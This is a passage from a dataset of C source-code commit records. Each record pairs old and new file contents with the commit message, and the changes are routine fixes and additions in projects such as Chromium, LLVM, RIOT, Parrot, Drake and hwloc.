bbb929c8-8fbe-4397-9dbb-9b2b20218538\n","lang":"C","license":"bsd-3-clause","repos":"kurli\/blink-crosswalk,Pluto-tv\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Bysmyyr\/blink-crosswalk,Pluto-tv\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,kurli\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,Bysmyyr\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,XiaosongWei\/blink-crosswalk,smishenk\/blink-crosswalk,Bysmyyr\/blink-crosswalk,kurli\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Pluto-tv\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,smishenk\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,kurli\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,smishenk\/blink-crosswalk,Pluto-tv\/blink-crosswalk,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Pluto-tv\/blink-crosswalk,Bysmyyr\/blink-crosswalk,PeterWangIntel\/blink-crosswalk,XiaosongWei\/blink-crosswalk,XiaosongWei\/blink-crosswalk,Bysmyyr\/blink-crosswalk,smishenk\/blink-crosswalk"}
{"commit":"a362d5e8273bdafe5be847b7e4020104cf7960c6","old_file":"src\/mathml.h","new_file":"src\/mathml.h","old_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <string>\n\nnamespace libcellml {\n\n\/**\n * @brief Compare math to determine if it is equal.\n *\n * Compare the given math strings to determin if they are equal or not.\n * The current test is a simplistic comparison of string equality.\n *\n * @param math1 The first parameter to compare against parameter two.\n * @param math2 The second parameter to compare against parameter one.\n * @return Return @c true if the @p math1 is equal to @p math2, @c false otherwise.\n *\/\nbool compareMath(const std::string &math1, const std::string &math2);\n\n} \/\/ namespace libcellml\n","new_contents":"\/*\nCopyright libCellML Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*\/\n\n#pragma once\n\n#include <string>\n\nnamespace libcellml {\n\n\/**\n * @brief Compare math to determine if it is equal.\n *\n * Compare the given math strings to determine if they are equal or not.\n * The current test is a simplistic comparison of string equality.\n *\n * @param math1 The first parameter to compare against parameter two.\n * @param math2 The second parameter to compare against parameter one.\n * @return Return @c true if the @p math1 is equal to @p math2, @c false otherwise.\n *\/\nbool compareMath(const std::string &math1, const std::string &math2);\n\n} \/\/ namespace libcellml\n","subject":"Fix typo in compareMath doxygen documentation.","message":"Fix typo in compareMath doxygen documentation.\n","lang":"C","license":"apache-2.0","repos":"hsorby\/libcellml,cellml\/libcellml,nickerso\/libcellml,nickerso\/libcellml,cellml\/libcellml,hsorby\/libcellml,cellml\/libcellml,nickerso\/libcellml,cellml\/libcellml,hsorby\/libcellml,nickerso\/libcellml,hsorby\/libcellml"}
{"commit":"4bc83be34066a7a42c6297db983e1d9066e14d3e","old_file":"chrome\/renderer\/webview_color_overlay.h","new_file":"chrome\/renderer\/webview_color_overlay.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#define CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkColor.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebPageOverlay.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebRect.h\"\n\nnamespace content {\nclass RenderView;\n}\n\n\/\/ This class draws the given color on a PageOverlay of a WebView.\nclass WebViewColorOverlay : public WebKit::WebPageOverlay {\n public:\n  WebViewColorOverlay(content::RenderView* render_view, SkColor color);\n  virtual ~WebViewColorOverlay();\n\n private:\n  \/\/ WebKit::WebPageOverlay implementation:\n  virtual void paintPageOverlay(WebKit::WebCanvas* canvas);\n\n  content::RenderView* render_view_;\n  SkColor color_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebViewColorOverlay);\n};\n\n#endif  \/\/ CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#define CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n#pragma once\n\n#include \"base\/basictypes.h\"\n#include \"base\/compiler_specific.h\"\n#include \"third_party\/skia\/include\/core\/SkColor.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebPageOverlay.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/platform\/WebRect.h\"\n\nnamespace content {\nclass RenderView;\n}\n\n\/\/ This class draws the given color on a PageOverlay of a WebView.\nclass WebViewColorOverlay : public WebKit::WebPageOverlay {\n public:\n  WebViewColorOverlay(content::RenderView* render_view, SkColor color);\n  virtual ~WebViewColorOverlay();\n\n private:\n  \/\/ WebKit::WebPageOverlay implementation:\n  virtual void paintPageOverlay(WebKit::WebCanvas* canvas);\n\n  content::RenderView* render_view_;\n  SkColor color_;\n\n  DISALLOW_COPY_AND_ASSIGN(WebViewColorOverlay);\n};\n\n#endif  \/\/ CHROME_RENDERER_WEBVIEW_COLOR_OVERLAY_H_\n","subject":"Fix build break from the future.","message":"Fix build break from the future.\n\nTBR=pfeldman\nReview URL: http:\/\/codereview.chromium.org\/8801036\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@113098 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"ropik\/chromium,gavinp\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,gavinp\/chromium,adobe\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium"}
{"commit":"7497b92c2f3de3f6ae78310d8d1fdc6fc78d42db","old_file":"test\/CFrontend\/2008-04-08-NoExceptions.c","new_file":"test\/CFrontend\/2008-04-08-NoExceptions.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S -o - %s | grep nounwind | count 2\n\/\/ RUN: %llvmgcc -S -o - %s | not grep {declare.*nounwind}\n\nvoid f(void);\nvoid g(void) {\n  f();\n}\n","subject":"Check that bodies and calls but not declarations are marked nounwind when compiling without -fexceptions.","message":"Check that bodies and calls but not declarations\nare marked nounwind when compiling without\n-fexceptions.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@49393 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm"}
{"commit":"1d9582cf96b666f3d45d504f2697eb82c5fc9f25","old_file":"test\/FrontendC\/2010-12-01-CommonGlobal.c","new_file":"test\/FrontendC\/2010-12-01-CommonGlobal.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc -S %s -o - | llvm-as -o \/dev\/null\n\/\/ Don't crash on a common-linkage constant global.\nextern const int kABSourceTypeProperty;\nint foo(void) {\n  return kABSourceTypeProperty;\n}\nconst int kABSourceTypeProperty;\n","subject":"Test case for r120740. Radar 8712503.","message":"Test case for r120740.  Radar 8712503.\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@120741 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"17530c3d7eceb106a74066446404117158e8aa93","old_file":"iobuf\/ibuf_readall.c","new_file":"iobuf\/ibuf_readall.c","old_contents":"#include <iobuf\/iobuf.h>\n#include <str\/str.h>\n\n\/** Read the remainder of the \\c ibuf into the \\c str. *\/\nint ibuf_readall(ibuf* in, str* out)\n{\n  for (;;) {\n    if (!str_catb(out,\n\t\t  in->io.buffer+in->io.bufstart,\n\t\t  in->io.buflen-in->io.bufstart))\n      return 0;\n    in->io.bufstart = in->io.buflen;\n    if (!ibuf_refill(in))\n      return ibuf_eof(in);\n  }\n}\n","new_contents":"#include <iobuf\/iobuf.h>\n#include <str\/str.h>\n\n\/** Read the remainder of the \\c ibuf into the \\c str. *\/\nint ibuf_readall(ibuf* in, str* out)\n{\n  if (ibuf_eof(in)) return 1;\n  if (ibuf_error(in)) return 0;\n  for (;;) {\n    if (!str_catb(out,\n\t\t  in->io.buffer+in->io.bufstart,\n\t\t  in->io.buflen-in->io.bufstart))\n      return 0;\n    in->io.bufstart = in->io.buflen;\n    if (!ibuf_refill(in))\n      return ibuf_eof(in);\n  }\n}\n","subject":"Make sure to do sanity checking before any of the reading.","message":"Make sure to do sanity checking before any of the reading.\n\n","lang":"C","license":"lgpl-2.1","repos":"bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs,bruceg\/bglibs"}
{"commit":"fc63fb77bf3186b28acea7594e54503083082c95","old_file":"boards\/common\/stm32\/include\/cfg_usb_otg_fs.h","new_file":"boards\/common\/stm32\/include\/cfg_usb_otg_fs.h","old_contents":"","new_contents":"\/*\n * Copyright (C) 2019 Koen Zandberg\n *\n * This file is subject to the terms and conditions of the GNU Lesser\n * General Public License v2.1. See the file LICENSE in the top level\n * directory for more details.\n *\/\n\n\/**\n * @ingroup     boards_common_stm32\n * @{\n *\n * @file\n * @brief       Common configuration for STM32 OTG FS peripheral\n *\n * @author      Koen Zandberg <koen@bergzand.net>\n *\/\n\n#ifndef CFG_USB_OTG_FS_H\n#define CFG_USB_OTG_FS_H\n\n#include \"periph_cpu.h\"\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n\/**\n * @brief Enable the full speed USB OTG peripheral\n *\/\n#define STM32_USB_OTG_FS_ENABLED\n\n\/**\n * @name common USB OTG FS configuration\n * @{\n *\/\nstatic const stm32_usb_otg_fshs_config_t stm32_usb_otg_fshs_config[] = {\n    {\n        .periph   = (uint8_t *)USB_OTG_FS_PERIPH_BASE,\n        .rcc_mask = RCC_AHB2ENR_OTGFSEN,\n        .phy      = STM32_USB_OTG_PHY_BUILTIN,\n        .type     = STM32_USB_OTG_FS,\n        .irqn     = OTG_FS_IRQn,\n        .ahb      = AHB2,\n        .dm       = GPIO_PIN(PORT_A, 11),\n        .dp       = GPIO_PIN(PORT_A, 12),\n        .af       = GPIO_AF10,\n    }\n};\n\/** @} *\/\n\n\/**\n * @brief Number of available USB OTG peripherals\n *\/\n#define USBDEV_NUMOF           ARRAY_SIZE(stm32_usb_otg_fshs_config)\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* CFG_USB_OTG_FS_H *\/\n\/** @} *\/\n","subject":"Add default config for USB OTG FS peripheral","message":"boards\/stm32: Add default config for USB OTG FS peripheral\n","lang":"C","license":"lgpl-2.1","repos":"jasonatran\/RIOT,ant9000\/RIOT,yogo1212\/RIOT,authmillenon\/RIOT,OTAkeys\/RIOT,basilfx\/RIOT,kaspar030\/RIOT,jasonatran\/RIOT,yogo1212\/RIOT,RIOT-OS\/RIOT,RIOT-OS\/RIOT,yogo1212\/RIOT,authmillenon\/RIOT,yogo1212\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,kYc0o\/RIOT,ant9000\/RIOT,OlegHahm\/RIOT,RIOT-OS\/RIOT,authmillenon\/RIOT,miri64\/RIOT,miri64\/RIOT,kaspar030\/RIOT,kYc0o\/RIOT,smlng\/RIOT,basilfx\/RIOT,jasonatran\/RIOT,kaspar030\/RIOT,jasonatran\/RIOT,miri64\/RIOT,kaspar030\/RIOT,basilfx\/RIOT,yogo1212\/RIOT,ant9000\/RIOT,smlng\/RIOT,kaspar030\/RIOT,basilfx\/RIOT,authmillenon\/RIOT,OTAkeys\/RIOT,ant9000\/RIOT,smlng\/RIOT,RIOT-OS\/RIOT,OTAkeys\/RIOT,OTAkeys\/RIOT,authmillenon\/RIOT,jasonatran\/RIOT,kYc0o\/RIOT,smlng\/RIOT,basilfx\/RIOT,OlegHahm\/RIOT,smlng\/RIOT,kYc0o\/RIOT,authmillenon\/RIOT,miri64\/RIOT,miri64\/RIOT,OTAkeys\/RIOT,yogo1212\/RIOT,OlegHahm\/RIOT,ant9000\/RIOT,kYc0o\/RIOT,OlegHahm\/RIOT"}
{"commit":"5d2a4723bcb4ff7913f8ea7e97890aa62d646ccc","old_file":"include\/ctache\/lexer.h","new_file":"include\/ctache\/lexer.h","old_contents":"\/* \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef LEXER_H\n#define LEXER_H\n\n#include <stdlib.h>\n#include \"linked_list.h\"\n\nenum ctache_token_type {\n    \/* Terminals *\/\n    CTACHE_TOK_STRING,\n    CTACHE_TOK_SECTION_TAG_START,\n    CTACHE_TOK_CLOSE_TAG_START,\n    CTACHE_TOK_VALUE_TAG_START,\n    CTACHE_TOK_TAG_END,\n    CTACHE_TOK_EOI,\n\n    \/* Non-Terminals *\/\n    CTACHE_TOK_TEMPLATE,\n    CTACHE_TOK_TEXT,\n    CTACHE_TOK_TAG,\n    CTACHE_TOK_TAG_START\n};\n#define CTACHE_NUM_TERMINALS (CTACHE_TOK_EOI + 1)\n#define CTACHE_NUM_NONTERMINALS (CTACHE_TOK_TAG_START - CTACHE_TOK_TEMPLATE + 1)\n\nstruct ctache_token {\n    char *value;\n    enum ctache_token_type tok_type;\n};\n\nstruct linked_list\n*ctache_lex(const char *str, size_t str_len);\n\n#endif \/* LEXER_H *\/\n","new_contents":"\/* \n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\/\n\n#ifndef LEXER_H\n#define LEXER_H\n\n#include <stdlib.h>\n#include \"linked_list.h\"\n\nenum ctache_token_type {\n    \/* Terminals *\/\n    CTACHE_TOK_SECTION_TAG_START,\n    CTACHE_TOK_CLOSE_TAG_START,\n    CTACHE_TOK_VALUE_TAG_START,\n    CTACHE_TOK_TAG_END,\n    CTACHE_TOK_STRING,\n    CTACHE_TOK_EOI,\n\n    \/* Non-Terminals *\/\n    CTACHE_TOK_TEMPLATE,\n    CTACHE_TOK_TEXT,\n    CTACHE_TOK_TAG,\n    CTACHE_TOK_TAG_START\n};\n#define CTACHE_NUM_TERMINALS (CTACHE_TOK_EOI + 1)\n#define CTACHE_NUM_NONTERMINALS (CTACHE_TOK_TAG_START - CTACHE_TOK_TEMPLATE + 1)\n\nstruct ctache_token {\n    char *value;\n    enum ctache_token_type tok_type;\n};\n\nstruct linked_list\n*ctache_lex(const char *str, size_t str_len);\n\n#endif \/* LEXER_H *\/\n","subject":"Fix a lexical token ordering issue","message":"Fix a lexical token ordering issue\n","lang":"C","license":"mpl-2.0","repos":"dwjackson\/ctache,dwjackson\/ctache"}
{"commit":"cf1943751de987986a59a5a458070a7bf4548fee","old_file":"Josh_Zane_Sebastian\/src\/parser\/types.c","new_file":"Josh_Zane_Sebastian\/src\/parser\/types.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nstruct llnode;\nstruct symbol;\nstruct function;\nunion value;\nstruct variable;\nstruct statement;\nstruct call;\n\n \n\nstruct llnode {\n  struct type* car;\n  struct llnode* cdr;\n};\n\nstruct call {\n  char* name;\n  struct function func;\n  struct symbol* arguments;\n  int numargs;\n}\n\nstruct symbol {\/\/I guess this is analogous to a symbol in lisp.\n  char* name; \/\/It has a name, which we use to keep track of it.\n  struct variable* referant; \/\/And an actual value in memory.\n};\n\nstruct function {\n  struct symbol* args; \/\/these are the symbols that the function takes as arguments\n  char* definition; \/\/ this is the function's actual definition, left in text form until parsing.\n};\n\nunion value { \/\/we have three primitive types, so every variable's value is one of those types\n  char bit;\n  struct llnode list;\n  struct function func;\n};\n\nstruct variable {  \/\/this is essentially an in-program variable\n  union value val; \/\/it has a value, i.e. what it equals\n  char typeid;     \/\/and a type id that allows us to correctly extract the value from the union value.\n};\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n\nstruct llnode;\nstruct symbol;\nstruct function;\nunion value;\nstruct variable;\nstruct statement;\nstruct call;\n\n \n\nstruct llnode {\n  struct variable* car;\n  struct llnode* cdr;\n};\n\nstruct call {\n  char* name;\n  struct function func;\n  struct symbol* arguments;\n  int numargs;\n}\n\nstruct symbol {\/\/I guess this is analogous to a symbol in lisp.\n  char* name; \/\/It has a name, which we use to keep track of it.\n  struct variable* referant; \/\/And an actual value in memory.\n};\n\nstruct function {\n  struct symbol* args; \/\/these are the symbols that the function takes as arguments\n  char* definition; \/\/ this is the function's actual definition, left in text form until parsing.\n  int numargs;\n};\n\nunion value { \/\/we have three primitive types, so every variable's value is one of those types\n  char bit;\n  struct llnode list;\n  struct function func;\n};\n\nstruct variable {  \/\/this is essentially an in-program variable\n  union value val; \/\/it has a value, i.e. what it equals\n  char typeid;     \/\/and a type id that allows us to correctly extract the value from the union value.\n};\n","subject":"Add a numargs field to struct function, which refers to the number of arguments the function takes.","message":"Add a numargs field to struct function, which refers to the number of arguments the function takes.\n","lang":"C","license":"mit","repos":"aacoppa\/final,aacoppa\/final"}
{"commit":"ef1a586474d7df11fda2a7c3064418e173c38055","old_file":"include\/parrot\/trace.h","new_file":"include\/parrot\/trace.h","old_contents":"\/* trace.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Tracing support for runops_cores.c.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_TRACE_H_GUARD\n#define PARROT_TRACE_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\nvoid trace_op_dump(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                   opcode_t *pc);\n\nvoid trace_op(struct Parrot_Interp *interpreter, opcode_t *code_start,\n              opcode_t *code_end, opcode_t *pc);\n\nvoid trace_op_b0(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                 opcode_t *pc);\n\nvoid trace_op_b1(struct Parrot_Interp *interpreter, opcode_t *code_start, \n                 opcode_t *code_end, code_t *pc);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","new_contents":"\/* trace.h\n *  Copyright: (When this is determined...it will go here)\n *  CVS Info\n *     $Id$\n *  Overview:\n *     Tracing support for runops_cores.c.\n *  Data Structure and Algorithms:\n *  History:\n *  Notes:\n *  References:\n *\/\n\n#ifndef PARROT_TRACE_H_GUARD\n#define PARROT_TRACE_H_GUARD\n\n#include \"parrot\/parrot.h\"\n\nvoid trace_op_dump(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                   opcode_t *pc);\n\nvoid trace_op(struct Parrot_Interp *interpreter, opcode_t *code_start,\n              opcode_t *code_end, opcode_t *pc);\n\nvoid trace_op_b0(struct Parrot_Interp *interpreter, opcode_t *code_start,\n                 opcode_t *pc);\n\nvoid trace_op_b1(struct Parrot_Interp *interpreter, opcode_t *code_start, \n                 opcode_t *code_end, opcode_t *pc);\n\n#endif\n\n\/*\n * Local variables:\n * c-indentation-style: bsd\n * c-basic-offset: 4\n * indent-tabs-mode: nil \n * End:\n *\n * vim: expandtab shiftwidth=4:\n*\/\n","subject":"Fix a typo in the argument type.","message":"Fix a typo in the argument type.\n\nPatch from <daniel.ritz@gmx.ch>\n\n\ngit-svn-id: 6e74a02f85675cec270f5d931b0f6998666294a3@1106 d31e2699-5ff4-0310-a27c-f18f2fbe73fe\n","lang":"C","license":"artistic-2.0","repos":"gagern\/parrot,FROGGS\/parrot,parrot\/parrot,youprofit\/parrot,parrot\/parrot,tkob\/parrot,FROGGS\/parrot,fernandobrito\/parrot,FROGGS\/parrot,tkob\/parrot,parrot\/parrot,tkob\/parrot,gagern\/parrot,gitster\/parrot,FROGGS\/parrot,gitster\/parrot,tkob\/parrot,tewk\/parrot-select,fernandobrito\/parrot,gagern\/parrot,fernandobrito\/parrot,gagern\/parrot,parrot\/parrot,gitster\/parrot,fernandobrito\/parrot,tewk\/parrot-select,youprofit\/parrot,youprofit\/parrot,youprofit\/parrot,youprofit\/parrot,gagern\/parrot,tewk\/parrot-select,tewk\/parrot-select,tkob\/parrot,youprofit\/parrot,gagern\/parrot,fernandobrito\/parrot,tewk\/parrot-select,tkob\/parrot,fernandobrito\/parrot,FROGGS\/parrot,FROGGS\/parrot,tkob\/parrot,youprofit\/parrot,youprofit\/parrot,gitster\/parrot,tkob\/parrot,gitster\/parrot,gitster\/parrot,tewk\/parrot-select,gitster\/parrot,tewk\/parrot-select,FROGGS\/parrot,FROGGS\/parrot,fernandobrito\/parrot,gagern\/parrot,parrot\/parrot"}
{"commit":"cc91506dc6cef57bed963d9e4d3aa002624d7a8b","old_file":"drake\/systems\/plants\/material_map.h","new_file":"drake\/systems\/plants\/material_map.h","old_contents":"#pragma once\n\n#include <string>\n#include <map>\n#include <Eigen\/Dense>\n\ntypedef std::map<std::string, Eigen::Vector4d, std::less<std::string>,\n                 Eigen::aligned_allocator<\n                     std::pair<std::string, Eigen::Vector4d> > > MaterialMap;\n","new_contents":"#pragma once\n\n#include <string>\n#include <map>\n#include <Eigen\/Dense>\n\ntypedef std::map<std::string, Eigen::Vector4d, std::less<std::string>,\n                 Eigen::aligned_allocator<\n                     std::pair<const std::string,\n                               Eigen::Vector4d> > > MaterialMap;\n","subject":"Use pair<'const' Key, Value> in defining MaterialMap type","message":"Use pair<'const' Key, Value> in defining MaterialMap type\n\nCustom allocator to std::map should have std::pair<const Key, Value>\ninstead of pair<Key, Value>. libc++-3.8.0 actually started checking this\ncondition by adding static_assert. Without this patch, users (using\nlibc++>=3.8) see something like the following compiler error message:\n\n\/usr\/local\/Cellar\/llvm\/3.8.1\/bin\/..\/include\/c++\/v1\/map:837:5: error: static_assert failed \"Allocator::value_type must be same type as value_type\"\n    static_assert((is_same<typename allocator_type::value_type, value_type>::value),\n    ^             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\/<PATH_TO_DRAKE>\/drake\/systems\/plants\/parser_urdf.cc:155:33: note: in instantiation of template class 'std::__1::map<std::__1::basic_string<char>, Eigen::Matrix<double, 4, 1, 0, 4, 1>, std::__1::less<std::__1::basic_string<char> >, Eigen::aligned_allocator<std::__1::pair<std::__1::basic_string<char>, Eigen::Matrix<double, 4, 1, 0, 4, 1> > > >' requested here\n  auto material_iter = materials->find(material_name);\n","lang":"C","license":"bsd-3-clause","repos":"sheim\/drake,sheim\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake,sheim\/drake,billhoffman\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,sheim\/drake,billhoffman\/drake,billhoffman\/drake,billhoffman\/drake"}
{"commit":"83dd74f6a0bf69102f807cfb9a904fce2b185594","old_file":"utils\/lstopo-xml.c","new_file":"utils\/lstopo-xml.c","old_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA.  All rights reserved.\n * Copyright © 2009 Université Bordeaux 1\n * Copyright © 2009-2011 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/autogen\/config.h>\n\n#ifdef HWLOC_HAVE_XML\n\n#include <hwloc.h>\n#include <string.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int logical __hwloc_attribute_unused, int legend __hwloc_attribute_unused, int verbose_mode __hwloc_attribute_unused)\n{\n  if (!filename || !strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  hwloc_topology_export_xml(topology, filename);\n}\n\n#endif \/* HWLOC_HAVE_XML *\/\n","new_contents":"\/*\n * Copyright © 2009 CNRS\n * Copyright © 2009-2010 INRIA.  All rights reserved.\n * Copyright © 2009 Université Bordeaux 1\n * Copyright © 2009-2011 Cisco Systems, Inc.  All rights reserved.\n * See COPYING in top-level directory.\n *\/\n\n#include <private\/autogen\/config.h>\n\n#ifdef HWLOC_HAVE_XML\n\n#include <hwloc.h>\n#include <string.h>\n\n#include \"lstopo.h\"\n\nvoid output_xml(hwloc_topology_t topology, const char *filename, int logical __hwloc_attribute_unused, int legend __hwloc_attribute_unused, int verbose_mode __hwloc_attribute_unused)\n{\n  if (!filename || !strcasecmp(filename, \"-.xml\"))\n    filename = \"-\";\n\n  if (hwloc_topology_export_xml(topology, filename) < 0) {\n    fprintf(stderr, \"Failed to export XML to %s (%s)\\n\", filename, strerror(errno));\n    return;\n  }\n}\n\n#endif \/* HWLOC_HAVE_XML *\/\n","subject":"Print an error when lstopo fails to export to X...","message":"Print an error when lstopo fails to export to X...\n\nPrint an error when lstopo fails to export to XML\n\nThis commit was SVN r3691.\n","lang":"C","license":"bsd-3-clause","repos":"ggouaillardet\/hwloc,shekkbuilder\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc,ggouaillardet\/hwloc,ggouaillardet\/hwloc,shekkbuilder\/hwloc"}
